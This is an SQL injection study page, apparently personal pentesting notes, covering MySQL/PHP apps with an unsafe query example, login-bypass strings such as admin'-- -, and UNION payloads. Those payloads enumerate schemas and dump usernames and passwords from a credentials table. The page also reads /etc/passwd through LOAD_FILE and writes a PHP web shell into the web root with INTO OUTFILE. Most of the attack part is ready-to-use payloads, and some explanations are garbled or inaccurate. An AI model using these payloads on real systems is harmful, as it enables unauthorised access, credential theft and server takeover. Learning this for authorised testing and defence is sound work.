SQL Injections
Attacks against databases
Webapps using MySQL with PHP can be vulnerable to SQL injections when the user input is not securly coded. Like using proper sanitization which removes any special characters in user-input, in order to break any injection attempts.
Example of unsafe code
$searchInput = $_POST['findUser'];
$query = "select * from logins where username like '%$input'";
$result = $conn->query($query);
Here its using the query select * from logins where username like '%$input'
but there is no cleaning or checking in place. So '%input'
will be treated as text and ignore special chars.
We can then change queries
# Normal search for admin
SELECT * FROM users WHERE username = 'admin';
# Injection
SELECT * FROM users WHERE username = ' OR '1'='1;
Types of injections
In-Band injection:
The output of the query is directly displayed on the frontend like with Union based or Error Based. Union Based is adding a UNION SQL operator to combine the results of multiple queries. It is used when we can get the PHP
or SQL
errors in the front-end, using those errors we can exfil data.
Blind Injection
No output is shown on the frontend, but the attacker extracts information based on the behavior of the web application. Either using Booleans or Times based payloads. That are true or false statement like WHERE 1=1
or using sleep wich will delay a response.
Out-of-Band Injection:
When direct access to the output is not possible, attackers can redirect the query results to an external location, like a DNS record, and retrieve the output remotely.
Bypass authentication
Logging in with normal credentials shows the actual query. Both admin and password are wrappedin '
and will be treated as text. Then it uses the AND
operator meaning they have both need to be true.
SELECT * FROM logins WHERE username='admin' AND password = 'p@ssw0rd';

To bypass authentication we can use a OR operator and input admin' or '1'='1
. PayloadAllTheThings, has many more payloads. By adding an or statement in password field as well we can login without knowing username.
If username is
admin
OR
If
1=1
returntrue
'which always returnstrue
'AND
If password is
something
SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';

Using comments
As with any othre language MySQL uses comment as well in several ways:
--
Need a space or do-- -
#
/**/
Everyting as comment will be ignored by server. For example The server will ignore the part of the query with AND password = 'something'
during evaluation.
SELECT * FROM logins WHERE username = 'admin'; # You can place anything here AND password = 'something'
So using admin'-- -
or 'admin or 1=1-- -
will bypass authenctiation.
Parentheses
SQL supports the usage of parenthesis if the application needs to check for particular conditions before others. So whatevers is in parentheses will be checked first. Like here where username AND id are checked first

Loggin in can work by adding closing parenthesis like admin')--
. So now it will ignore everything after admin')--
. With final query like
SELECT * FROM logins where (username='admin')

In case we would want to login with the ID number we can use ' OR id = 5)-- -
.
Union Clause
Another type of SQL injection is injecting entire SQL queries executed along with the original query. The Union clause is used to combine results from multiple SELECT
statements like:
SELECT * FROM ports UNION SELECT * FROM ships;
An example query
# Query
SELECT * FROM products WHERE product_id = 'user_input'
# Union query as injection
SELECT * from products where product_id = '1' UNION SELECT username, password from passwords-- '
When using UNION the number of columns must match the number of columns in original query. For example if a original query selects 4 columns but you only request 1 column like usernames the injection fails.
We can ues junk values like numbers to fill the extra columns. NULL works as well.
# 2 columns
UNION SELECT username, 2 FROM passwords--
# 4 columns
UNION SELECT username, 2, 3, 4 FROM passwords--
Detecting numbers of columns
There are 2 methods of detecting the number of columns:
Using
ORDER BY
Using
UNION
ORDER BY
works with injecting column 1 , column 2 until we get an error saying the column dosnt exist. Like ' order by 1-- -
and then ' order by 2-- -
untill we get an error.
The other option is using cn' UNION select 1,2,3-- -
or cn' UNION select 1,2,3,4-- -
.
Location of injection
Some web apps only display some columns. It can happen we inject a query but it will not be printed on the page. To check if our data is being returned we can use
cn' UNION select 1,@@version,3,4-- -
Pulling Data
The INFORMATION_SCHEMA database contains metadata about the databases and tables present on the server. The table SCHEMATA in the INFORMATION_SCHEMA
database contains information about all databases on the server
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
Using that as sql injection to show databases.
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
Find the current databse
cn' UNION select 1,database(),2,3-- -
Getting tables
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
Getting columns
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
Finally get the data
cn' UNION select 1, username, password, 4 from dev.credentials-- -
Reading Files
To read data first check current DB user
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user
# Injection
cn' UNION SELECT 1, user(), 3, 4-- -
Then check for privileges, if returns Y meaning superuser privs.
# Check for superuser
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- - '
# Get all privileges
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
Using LOAD-FILE to read data from files wutg SELECT LOAD_FILE('/etc/passwd');
.
# Injection
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
Writing Files
To write files we need three things:
User with
FILE
privilege enabledMySQL global
secure_file_priv
variable not enabledWrite access to the location we want to write to on the back-end server
secure_file_priv
Secure_file_priv says where to read/write files from, empty value means entire system.
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
SELECT INTO OUTFILE
The SELECT INTO OUTFILE statement can be used to write data from select queries into files.
cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -
Or a webshell
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
Last updated
Was this helpful?